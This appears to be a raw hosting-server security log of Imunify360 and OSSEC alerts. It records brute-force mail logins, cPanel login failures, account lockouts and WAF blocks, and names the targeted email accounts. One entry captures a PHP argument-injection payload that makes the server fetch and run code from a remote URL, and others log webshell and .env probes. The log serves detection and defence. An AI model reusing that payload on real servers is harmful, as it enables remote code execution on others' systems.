plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-31 13:53:16 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:47628: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 13:53:28 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:36100: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:53:07 dovecot_login authenticator failed for H=(XiJ7hiFAR6) [165.154.235.118]:42363: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:53:38 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-01-31 13:54:29 dovecot_login authenticator failed for H=([119.192.210.110]) [119.192.210.110]:47618: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.54.150
country_id: 1814991
description:
2026-01-31 13:54:45 dovecot_login authenticator failed for H=([61.169.54.150]) [61.169.54.150]:34255: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:54:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:54:13 dovecot_login authenticator failed for H=(HPrPNWl) [158.94.209.22]:63653: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 168.138.185.187
country_id: 1880251
domain: manforce.net
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=https://cld.pt/dl/download/58887b17-33bd-494e-983d-6b9b494045ff/link.txt||MVN:MATCHED_VAR||WPU:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:54:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: usfood.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/usfoodcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:54:03 dovecot_login authenticator failed for H=(6tHSw5j7) [165.154.235.118]:63808: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:54:04 dovecot_login authenticator failed for H=(QNdI3lZ4gv) [158.94.208.175]:58566: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:55:07 dovecot_login authenticator failed for H=(6nRF5h) [158.94.209.22]:54795: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Jan 31 13:55:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account euratech has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:55:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:55:11 dovecot_login authenticator failed for H=(9Zj4g0) [165.154.235.118]:24834: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 13:55:13 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:51783: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:55:19 dovecot_login authenticator failed for H=(a8ld17L6) [158.94.208.175]:49216: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.20.244.173
country_id: 1643084
description:
2026-01-31 13:55:01 dovecot_plain authenticator failed for H=(96H3V7R8Q2) [157.20.244.173]:62416: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:55:22 dovecot_login authenticator failed for H=(CydwnV2kSS) [165.154.235.118]:28972: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:56:07 dovecot_login authenticator failed for H=(ksfD6m) [165.154.235.118]:45457: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:56:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.181.81.150
country_id: 1269750
description:
2026-01-31 13:56:22 dovecot_login authenticator failed for H=([103.181.81.150]) [103.181.81.150]:46567: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:56:01 dovecot_login authenticator failed for H=(ZHhGjPO) [158.94.209.22]:62288: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.221.168
country_id: 6252001
description:
2026-01-31 13:56:43 dovecot_login authenticator failed for H=wsip-70-183-221-168.br.br.cox.net [70.183.221.168]:64610: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:56:28 dovecot_login authenticator failed for H=(Wnx4IBzF) [158.94.208.175]:58715: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 13:57:15 dovecot_login authenticator failed for H=(PPFIwodgn) [158.94.208.175]:58269: 535 Incorrect authentication data (set_id=euratech)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:57:03 dovecot_login authenticator failed for H=(rhQPM2) [165.154.235.118]:1542: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:57:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:57:13 dovecot_login authenticator failed for H=(rPaqofbzt) [158.94.209.22]:56151: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:57:59 dovecot_login authenticator failed for H=(P4ptViK5) [165.154.235.118]:22103: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 13:58:01 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:47212: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:58:10 dovecot_login authenticator failed for H=(BpqLKBJjd4) [165.154.235.118]:26313: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.212.9.122
country_id: 1835841
description:
2026-01-31 13:58:51 dovecot_login authenticator failed for H=([123.212.9.122]) [123.212.9.122]:51124: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 13:58:03 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:43084: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:58:08 dovecot_login authenticator failed for H=(oKGYecBkyz) [158.94.209.22]:63702: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.42.74
country_id: 1562822
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/about.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.7.160
country_id: 1733045
description:
2026-01-31 13:58:41 dovecot_login authenticator failed for H=([183.171.7.160]) [183.171.7.160]:58334: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 13:58:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 13:58:40 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:19048: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.129.206.14
country_id: 1269750
description:
2026-01-31 13:58:57 dovecot_login authenticator failed for H=([203.129.206.14]) [203.129.206.14]:48744: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.134.162.171
country_id: 1227603
description:
2026-01-31 13:59:46 dovecot_plain authenticator failed for H=(T31NGXPI6836) [112.134.162.171]:34519: 535 Incorrect authentication data (set_id=hhling@af-sb.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 13:59:07 dovecot_login authenticator failed for H=(mhXgb8rt) [165.154.235.118]:47141: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.147.10.58
country_id: 1814991
description:
2026-01-31 13:59:10 dovecot_login authenticator failed for H=([219.147.10.58]) [219.147.10.58]:43082: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-31 13:59:17 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:34025: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.112.6
country_id: 1269750
description:
2026-01-31 13:59:32 dovecot_login authenticator failed for H=(nsg-corporate-129.186.186.122.airtel.in) [27.123.112.6]:33976: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.137.250
country_id: 1269750
description:
2026-01-31 13:59:02 dovecot_login authenticator failed for H=([203.193.137.250]) [203.193.137.250]:58387: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 13:59:02 dovecot_login authenticator failed for H=(xuXszW) [158.94.209.22]:54720: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 13:59:53 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (dicale) [87.103.126.54]:20899: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:00:03 dovecot_login authenticator failed for H=(hexkJELLb) [165.154.235.118]:3018: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.73.187
country_id: 6252001
description:
2026-01-31 14:00:33 dovecot_login authenticator failed for H=([209.23.73.187]) [209.23.73.187]:40068: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:00:37 dovecot_login authenticator failed for H=(c15KDPn) [165.154.235.118]:15611: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.247.63.174
country_id: 2017370
description:
2026-01-31 14:00:50 dovecot_login authenticator failed for H=([188.247.63.174]) [188.247.63.174]:51038: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:00:14 dovecot_login authenticator failed for H=(my4nWMwA) [158.94.209.22]:64792: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.10.64.2
country_id: 6252001
domain: manforce.net
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env/.env.bak||User:manfotp3||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 14:01:01 dovecot_login authenticator failed for H=([98.122.215.23]) [98.122.215.23]:60944: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.28.243
country_id: 1668284
description:
2026-01-31 14:01:01 dovecot_login authenticator failed for H=111-70-28-243.emome-ip.hinet.net [111.70.28.243]:35912: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 14:01:02 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:54586: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 14:01:22 dovecot_login authenticator failed for H=([103.29.185.162]) [103.29.185.162]:41824: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:01:08 dovecot_login authenticator failed for H=(cBRFZm) [158.94.209.22]:55874: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:01:11 dovecot_login authenticator failed for H=(xd0Bn3iKD5) [165.154.235.118]:28078: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:02:50 dovecot_login authenticator failed for H=(g2zjT0a4) [158.94.208.175]:58768: 535 Incorrect authentication data (set_id=scchee.vcb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:02:07 dovecot_login authenticator failed for H=(ANWI5v) [165.154.235.118]:49202: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:02:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-31 14:02:31 dovecot_login authenticator failed for H=(227.69.57.37.triolan.net) [37.57.69.227]:44200: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 14:02:42 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:38024: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.110.182
country_id: 1269750
description:
2026-01-31 14:02:43 dovecot_login authenticator failed for H=([125.23.104.201]) [27.123.110.182]:54054: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:02:02 dovecot_login authenticator failed for H=(eAHdtX4Ccd) [158.94.209.22]:63283: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.111.49
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=36 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:03:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.170
country_id: 1269750
description:
2026-01-31 14:03:13 dovecot_login authenticator failed for H=(nsg-corporate-48.223.187.122.airtel.in) [128.185.201.170]:47982: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:03:03 dovecot_login authenticator failed for H=(MJzK8BYC) [165.154.235.118]:6843: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:03:16 dovecot_login authenticator failed for H=(qxN44Sc) [158.94.208.175]:49388: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.173.156.68
country_id: 1814991
description:
2026-01-31 14:03:08 dovecot_login authenticator failed for H=([61.173.156.68]) [61.173.156.68]:25458: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:03:14 dovecot_login authenticator failed for H=(Kha3Nbt) [158.94.209.22]:56843: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:03:15 dovecot_login authenticator failed for H=(s7MxdsXz) [165.154.235.118]:10878: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-01-31 14:03:35 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:14726: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.159
country_id: 2750405
domain: www.achieversvisionacademy.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/.svn/wc.db||User:achieversvisiona||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:04:08 dovecot_login authenticator failed for H=(jZpW2m) [158.94.209.22]:64360: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:04:10 dovecot_login authenticator failed for H=(gZK1MmZcJn) [158.94.208.175]:52869: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:04:02 dovecot_login authenticator failed for H=(KQbVyac) [165.154.235.118]:34992: 535 Incorrect authentication data (set_id=htayhtay)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:04:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-01-31 14:04:08 +0800] info [cpaneld] 185.204.54.153 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 117.241.75.148
country_id: 1269750
domain: cabe.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:53519.cabe.com.my||ServerName:cabe.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f3e3fed3a512166d6acf0f8ce4d57f97247249cd||Title:0x5fa6cf35||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.135.117.245
country_id: 6252001
description:
2026-01-31 14:04:56 dovecot_login authenticator failed for H=107-135-117-245.lightspeed.livnmi.sbcglobal.net [107.135.117.245]:11089: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-31 14:04:07 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:41505: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:04:48 dovecot_login authenticator failed for H=(jzblCJ) [178.16.54.138]:63862: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:05:15 dovecot_login authenticator failed for H=(VafjjR) [178.16.54.138]:54967: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.63.207.166
country_id: 3175395
description:
2026-01-31 14:05:32 dovecot_login authenticator failed for H=([151.63.207.166]) [151.63.207.166]:48770: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.231.25.64
country_id: 3686110
description:
2026-01-31 14:05:53 dovecot_login authenticator failed for H=(1522312565.colombiatel.co) [152.231.25.64]:41281: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.28.177.141
country_id: 2017370
description:
2026-01-31 14:05:06 dovecot_login authenticator failed for H=([37.28.177.141]) [37.28.177.141]:58870: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:05:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.232.120.182
country_id: 3144096
description:
2026-01-31 14:05:37 dovecot_login authenticator failed for H=(cm-178.232.120.182.get.no) [178.232.120.182]:38295: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.123.109.43
country_id: 732800
description:
2026-01-31 14:05:45 dovecot_login authenticator failed for H=(ADMIN) [93.123.109.43]:43932: 535 Incorrect authentication data (set_id=ind@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:05:07 dovecot_login authenticator failed for H=(9utPVjykEf) [158.94.208.175]:63900: 535 Incorrect authentication data (set_id=shutters)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/portfolio/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:05:11 dovecot_login authenticator failed for H=(wNCUytc) [165.154.235.118]:55585: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:05:23 dovecot_login authenticator failed for H=(Y5RGL9Fzf) [165.154.235.118]:59980: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:05:02 dovecot_login authenticator failed for H=(ZcjKZQl) [158.94.209.22]:55534: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 14:06:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 14:06:14 dovecot_login authenticator failed for H=(gxPCYky1) [158.94.209.22]:65421: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 14:06:16 dovecot_login authenticator failed for H=(BQWNHYT) [158.94.208.175]:58992: 535 Incorrect authentication data (set_id=shutters)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.118
country_id: 6252001
description:
2026-01-31 14:06:08 dovecot_login authenticator failed for H=(ZW1ckj7q9n) [165.154.235.118]:12674: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:06:09 dovecot_login authenticator failed for H=(6cB0OJXk9A) [178.16.54.138]:54562: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 14:07:03 dovecot_login authenticator failed for H=(7cE8n1) [178.16.54.138]:54015: 535 Incorrect authentication data (set_id=ohchan.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.81.57.45
country_id: 6252001
description:
[2026-01-31 14:07:45 +0800] info [cpaneld] 68.81.57.45 - dynamichrcommy "GET /login/?login_only=1&user=dynamichrcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dynamichrcommy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.176.174.206
country_id: 6252001
description:
[2026-01-31 14:07:53 +0800] info [cpaneld] 70.176.174.206 - dynamichrcom "GET /login/?login_only=1&user=dynamichrcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
